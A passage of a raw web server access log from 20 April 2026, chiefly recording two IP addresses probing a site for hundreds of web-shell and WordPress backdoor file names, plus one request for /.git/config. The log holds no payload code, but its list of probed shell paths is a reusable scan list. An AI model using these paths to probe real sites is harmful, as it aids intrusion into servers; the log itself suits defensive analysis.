795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:02:34 +0300] "GET /defeg.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:06:36 +0300] "GET /ws83.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:07:14 +0300] "GET /HLA-dd.php HTTP/1.1" 301 795 "-" "-" 124.222.86.149 - - [20/Apr/2026:14:06:20 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 172.161.76.204 - - [20/Apr/2026:14:09:08 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:10:07 +0300] "GET /wwdgl.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:13:43 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:17:01 +0300] "GET /ckk.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:24:40 +0300] "GET /nc4.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:47:23 +0300] "GET /akhvg.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:52:48 +0300] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:53:59 +0300] "GET /ctjpseby.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:56:01 +0300] "GET /ftde.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:56:27 +0300] "GET /zc-124.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:57:48 +0300] "GET /a6.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:58:21 +0300] "GET /albrt.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:00:15 +0300] "GET /wpc2.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:01:35 +0300] "GET /trx24.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:02:27 +0300] "GET /xxiviLDIot.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:02:55 +0300] "GET /wp-moonka.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:03:40 +0300] "GET /gh.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:04:36 +0300] "GET /oco.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:06:25 +0300] "GET /repurify.php HTTP/1.1" 301 795 "-" "-" 170.106.197.109 - - [20/Apr/2026:15:08:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.161.76.204 - - [20/Apr/2026:15:09:46 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:10:21 +0300] "GET /ws77.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:10:58 +0300] "GET /jnhddqyz.php HTTP/1.1" 301 795 "-" "-" 114.80.36.40 - - [20/Apr/2026:16:13:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.161.76.204 - - [20/Apr/2026:14:14:23 +0300] "GET /intall.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:16:40 +0300] "GET /wxfyf.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:17:46 +0300] "GET /itlvk.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:21:51 +0300] "GET /only.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:23:33 +0300] "GET /htto.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:24:11 +0300] "GET /BhqKs28Cw94.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:24:15 +0300] "GET /balin.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:24:51 +0300] "GET /clcdu.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:24:55 +0300] "GET /xfun.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:24:59 +0300] "GET /buc.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:25:43 +0300] "GET /ws56.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:25:47 +0300] "GET /cgi-bin_bkp.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:32:44 +0300] "GET /luyuc.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:33:03 +0300] "GET /krntz.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:38:18 +0300] "GET /rgjrq.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:38:32 +0300] "GET /emcgm.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:39:41 +0300] "GET /wp-denmono.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:52:33 +0300] "GET /dgmry.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:56:11 +0300] "GET /13ede.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:00:58 +0300] "GET /uujuu.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:04:14 +0300] "GET /xsjtz.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:07:27 +0300] "GET /cdn3.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:07:41 +0300] "GET /vhwwnrnmqc.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:07:47 +0300] "GET /ws88.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:08:38 +0300] "GET /less.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:09:37 +0300] "GET /wkogn.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:10:13 +0300] "GET /0yellow.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:12:58 +0300] "GET /wxeyc.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:14:48 +0300] "GET /xopgt.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:14:51 +0300] "GET /011i.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:15:11 +0300] "GET /wp-ccv.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:23:49 +0300] "GET /ynjli.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:24:31 +0300] "GET /zvinn.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:25:12 +0300] "GET /rkiea.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:25:15 +0300] "GET /drhunthq.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:25:20 +0300] "GET /kbfr.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:25:36 +0300] "GET /no18.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:32:54 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:33:24 +0300] "GET /vopxx.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:34:08 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:34:09 +0300] "GET /gbhyv.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:52:19 +0300] "GET /bclms.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:52:56 +0300] "GET /dyxbc.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:54:50 +0300] "GET /gedim.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:54:53 +0300] "GET /kduhq.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:55:01 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:58:47 +0300] "GET /sad.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:00:26 +0300] "GET /x123.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:03:27 +0300] "GET /bhigtouj.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:06:07 +0300] "GET /hanyatersenyum.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:10:07 +0300] "GET /abhjr.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:11:13 +0300] "GET /wpls.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:09:20 +0300] "GET /ai.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:15:37 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:15:51 +0300] "GET /iov.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:15:59 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:16:13 +0300] "GET /jodohghi.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:16:17 +0300] "GET /xbbih.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:16:45 +0300] "GET /wcvejtpr.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:16:50 +0300] "GET /awdld.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:16:53 +0300] "GET /qqjki.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:16:56 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:23:59 +0300] "GET /bykdo.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:37:57 +0300] "GET /abalqdol.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:39:50 +0300] "GET /l10n.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:48:44 +0300] "GET /bivvw.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:53:04 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:53:10 +0300] "GET /cxxuv.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:54:04 +0300] "GET /assacc.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:54:45 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:55:35 +0300] "GET /ws87.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:55:50 +0300] "GET /dhjqs.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:58:40 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:59:20 +0300] "GET /ifrea.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:59:30 +0300] "GET /bfasb.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:04:28 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:05:16 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:05:29 +0300] "GET /eursi.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:05:39 +0300] "GET /ogr.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:06:18 +0300] "GET /zc-942.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:06:50 +0300] "GET /ws84.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:06:58 +0300] "GET /ws73.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:10:31 +0300] "GET /baixy.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:10:32 +0300] "GET /sk25_1.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:11:26 +0300] "GET /SS72_kKKjT.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:11:32 +0300] "GET /ws86.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:11:55 +0300] "GET /gk.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:11:49 +0300] "GET /xcakx.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:14:09 +0300] "GET /blqjs.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:14:13 +0300] "GET /php.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:14:15 +0300] "GET /ibano.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:14:43 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:15:16 +0300] "GET /byueb.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:15:26 +0300] "GET /xenium4.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:15:31 +0300] "GET /jvtsa.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:16:32 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:16:35 +0300] "GET /hfles.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:22:20 +0300] "GET /wpb.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:33:50 +0300] "GET /gkojz.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:33:52 +0300] "GET /ovajkgsbb.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:34:44 +0300] "GET /tdsaz.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:39:15 +0300] "GET /jtfocpif.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:39:30 +0300] "GET /vaza.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:43:43 +0300] "GET /sde.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:47:52 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:47:55 +0300] "GET /zyjhr.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:54:12 +0300] "GET /a9.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:54:14 +0300] "GET /ardsw.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:54:27 +0300] "GET /b7cdb465.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:55:16 +0300] "GET /junvh.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:56:21 +0300] "GET /xigmltad.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:57:58 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:01:41 +0300] "GET /0xD.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:02:42 +0300] "GET /euocu.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:03:12 +0300] "GET /hhxc.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:03:50 +0300] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:03:59 +0300] "GET /41.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:05:00 +0300] "GET /bypltspd.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:08:17 +0300] "GET /ovajckrrj.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:08:27 +0300] "GET /4GrJSiwkF3A.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:09:27 +0300] "GET /wtogs.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:09:30 +0300] "GET /ww.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:09:42 +0300] "GET /xxivicLhot.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:09:45 +0300] "GET /2nzyHnOkEg.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:09:49 +0300] "GET /CDX2.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:09:52 +0300] "GET /mds.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:09:56 +0300] "GET /wcoiw.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:09:58 +0300] "GET /3Cr1w6dfjTK.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:10:24 +0300] "GET /tymi.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:10:27 +0300] "GET /hots.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:25:04 +0300] "GET /uazsl.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:33:09 +0300] "GET /161dfd072f.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:38:46 +0300] "GET /baixy.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:47:34 +0300] "GET /2ksm17n.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:47:44 +0300] "GET /aa21.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:52:41 +0300] "GET /wglum1.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:57:16 +0300] "GET /106.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:58:04 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:01:13 +0300] "GET /camara.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:01:49 +0300] "GET /dass.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:01:52 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:04:44 +0300] "GET /rogsa.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:04:48 +0300] "GET /jctyd.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:07:07 +0300] "GET /hnphq.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:07:58 +0300] "GET /0x19493QU8ZQ.php HTTP/1.1" 301 795 "-" "-" 68.183.135.59 - - [20/Apr/2026:15:08:46 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 172.161.76.204 - - [20/Apr/2026:15:08:52 +0300] "GET /wtiiy.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:10:43 +0300] "GET /oti.php HTTP/1.1" 301 795 "-" "-" 101.32.52.164 - - [20/Apr/2026:15:53:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.52.12.92 - - [20/Apr/2026:16:30:59 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 172.161.76.204 - - [20/Apr/2026:14:12:12 +0300] "GET /zu.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:14:57 +0300] "GET /fsgdjkl.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:17:08 +0300] "GET /fyflv.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:17:11 +0300] "GET /ws58.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:17:15 +0300] "GET /3akp.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:23:06 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:30:26 +0300] "GET /byrgo.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:32:30 +0300] "GET /yee.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:39:03 +0300] "GET /ovajelmxf.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:48:08 +0300] "GET /gi.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:48:19 +0300] "GET /torsa1.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:48:52 +0300] "GET /new3.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:53:43 +0300] "GET /bxhnfdgd.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:53:54 +0300] "GET /Geforce.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:55:28 +0300] "GET /CDX1.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:57:35 +0300] "GET /Spow_SRw.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:57:39 +0300] "GET /ggddssvl.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:58:29 +0300] "GET /ws85.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:14:58:57 +0300] "GET /vrhiw.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:00:50 +0300] "GET /dichku.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:02:50 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:03:06 +0300] "GET /dawvg.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:05:52 +0300] "GET /jlex.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:08:10 +0300] "GET /druqr.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:09:07 +0300] "GET /eapjf.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:12:04 +0300] "GET /lmlwpbmm.php HTTP/1.1" 301 795 "-" "-" 172.161.76.204 - - [20/Apr/2026:15:12:17 +0300] "GET /ppxhp.php HTTP/1.1" 301 795 "-" "-" 173.252.82.23 - - [20/Apr/2026:16:40:47 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 132.196.3.209 - - [20/Apr/2026:16:49:59 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:01 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:04 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:50:05 +0300] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:54:39 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:33 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:37 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "-" 144.172.110.113 - - [20/Apr/2026:17:42:59 +0300] "GET /unzip.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 44.195.147.130 - - [20/Apr/2026:18:17:39 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 132.196.3.209 - - [20/Apr/2026:16:49:38 +0300] "GET /public/css.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:49:41 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:49:45 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:49:47 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:49:51 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:49:54 +0300] "GET /gelay.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:52:11 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:54:01 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:11 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:11 +0300] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:17 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:20 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:20 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:21 +0300] "GET /tes.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:57:25 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:59:18 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:59:21 +0300] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:59:25 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:49:23 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 132.196.3.209 - - [20/Apr/2026:16:49:26 +0300] "GET 